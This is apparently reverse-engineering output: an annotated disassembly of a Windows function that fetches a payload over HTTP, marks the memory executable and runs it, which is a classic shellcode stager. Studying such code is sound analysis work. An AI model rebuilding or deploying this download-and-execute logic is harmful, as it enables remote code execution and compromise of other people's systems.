Function at 0x140001504
Capabilities:
Connect socket
Create thread
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
push rdi
mov eax, 0x1448
call fcn.14000bd30
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x13e0], rcx
mov qword [rbp + 0x13e8], rdx
mov qword [rbp + 0x13f0], r8
mov dword [rbp + 0x13ac], 0
mov rax, qword [rbp + 0x13e0]
mov rcx, rax
call sym.strlen
add rax, 1
mov qword [rbp + 0x13a0], rax
mov qword [rbp + 0x1398], 0x64
mov qword [rbp + 0x1378], 0
mov r8, qword [rbp + 0x13e0]
mov rcx, qword [rbp + 0x13a0]
lea rdx, [rbp + 0x12b0]
lea rax, [rbp + 0x1378]
mov qword [rsp + 0x20], 0xffffffffffffffff
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_mbstowcs_s]
call rax
mov qword [rbp + 0x13b8], 0xffffffffffffffff
mov qword [rbp + 0x1108], 0
mov qword [rbp + 0x13b0], 0
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], 0
lea rdx, [rbp + 0xfd0]
mov eax, 0
mov ecx, 0x1e
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0xfc0]
lea rdx, str.GET__
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcatA]
call rax
mov rdx, qword [rbp + 0x13f0]
lea rax, [rbp + 0xfc0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcatA]
call rax
lea rax, [rbp - 0x40]
mov r8d, 0x1000
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x1394], 0x1000
lea rax, [rbp + 0x1110]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
cdqe
mov qword [rbp + 0x1378], rax
mov rax, qword [rbp + 0x1378]
test rax, rax
je 0x140001698
mov rax, qword [rbp + 0x1378]
mov rdx, rax
lea rax, str.WSAStartup_failed_with_error:__d_n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x140001b7a
lea rax, [rbp + 0x10d0]
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x10d4], 2
mov dword [rbp + 0x10d8], 1
mov dword [rbp + 0x10dc], 6
lea r8, [rbp + 0x1108]
lea rcx, [rbp + 0x10d0]
mov rdx, qword [rbp + 0x13e8]
mov rax, qword [rbp + 0x13e0]
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_getaddrinfo]
call rax
cdqe
mov qword [rbp + 0x1378], rax
mov rax, qword [rbp + 0x1378]
test rax, rax
je 0x14000173a
mov rax, qword [rbp + 0x1378]
mov rdx, rax
lea rax, str.getaddrinfo_failed_with_error:__d_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001b7a
mov rax, qword [rbp + 0x1108]
mov qword [rbp + 0x13b0], rax
jmp 0x14000184a
mov rax, qword [rbp + 0x13b0]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0x13b0]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x13b0]
mov eax, dword [rax + 4]
mov r8d, ecx
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x13b8], rax
cmp qword [rbp + 0x13b8], 0xffffffffffffffff
jne 0x1400017b2
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.socket_failed_with_error:__ld_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001b7a
mov rdx, qword [rbp + 0x13e8]
mov rax, qword [rbp + 0x13e0]
mov r8, rdx
mov rdx, rax
lea rax, str.___Connect_to__s:_s
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x13b0]
mov rax, qword [rax + 0x10]
mov ecx, eax
mov rax, qword [rbp + 0x13b0]
mov rdx, qword [rax + 0x20]
mov rax, qword [rbp + 0x13b8]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cdqe
mov qword [rbp + 0x1378], rax
mov rax, qword [rbp + 0x1378]
cmp rax, 0xffffffffffffffff
jne 0x14000185a
mov rax, qword [rbp + 0x13b8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov qword [rbp + 0x13b8], 0xffffffffffffffff
nop
mov rax, qword [rbp + 0x13b0]
mov rax, qword [rax + 0x28]
mov qword [rbp + 0x13b0], rax
cmp qword [rbp + 0x13b0], 0
jne 0x14000174d
jmp 0x14000185b
nop
mov rax, qword [rbp + 0x1108]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_freeaddrinfo]
call rax
cmp qword [rbp + 0x13b8], 0xffffffffffffffff
jne 0x140001895
lea rax, str.Unable_to_connect_to_server__n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001b7a
lea rax, [rbp + 0xfc0]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0xfc0]
mov rax, qword [rbp + 0x13b8]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
cdqe
mov qword [rbp + 0x1378], rax
mov rax, qword [rbp + 0x1378]
cmp rax, 0xffffffffffffffff
jne 0x14000191a
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.send_failed_with_error:__d_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x13b8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001b7a
mov rax, qword [rbp + 0x1378]
mov rdx, rax
lea rax, str._n___Sent__ld_Bytes_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x13b8]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_shutdown]
call rax
cdqe
mov qword [rbp + 0x1378], rax
mov rax, qword [rbp + 0x1378]
cmp rax, 0xffffffffffffffff
jne 0x14000199c
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.shutdown_failed_with_error__Note:_for_the_checksum:__d_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x13b8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001b7a
mov ecx, dword [rbp + 0x1394]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x13b8]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cdqe
mov qword [rbp + 0x1378], rax
mov rax, qword [rbp + 0x1378]
test rax, rax
je 0x1400019f2
mov rax, qword [rbp + 0x1378]
mov rdx, rax
lea rax, str.___Received__d_Bytes_n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x140001a29
mov rax, qword [rbp + 0x1378]
test rax, rax
jne 0x140001a0f
lea rax, str.___Connection_closed_n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x140001a29
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.recv_failed_with_error:__d_n
mov rcx, rax
call sym.printf_char_const__::_
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x1000
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1388], rax
cmp qword [rbp + 0x1388], 0
jne 0x140001a78
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Allocate_memory___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x140001b7a
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1388]
mov r8d, 0x1000
mov rcx, rax
call sym.memmove
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0x1388]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x140001ade
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_change_memory_protection___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x140001b7a
mov rax, qword [rbp + 0x1388]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x1380], rax
cmp qword [rbp + 0x1380], 0
jne 0x140001b3f
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Create_the_thread___u__n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x140001b7a
mov rax, qword [rbp + 0x1388]
mov rdx, rax
lea rax, str._n_nalloc_mem_:__p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x1380]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x1388]
call rax
nop
add rsp, 0x1448
pop rdi
pop rbp
ret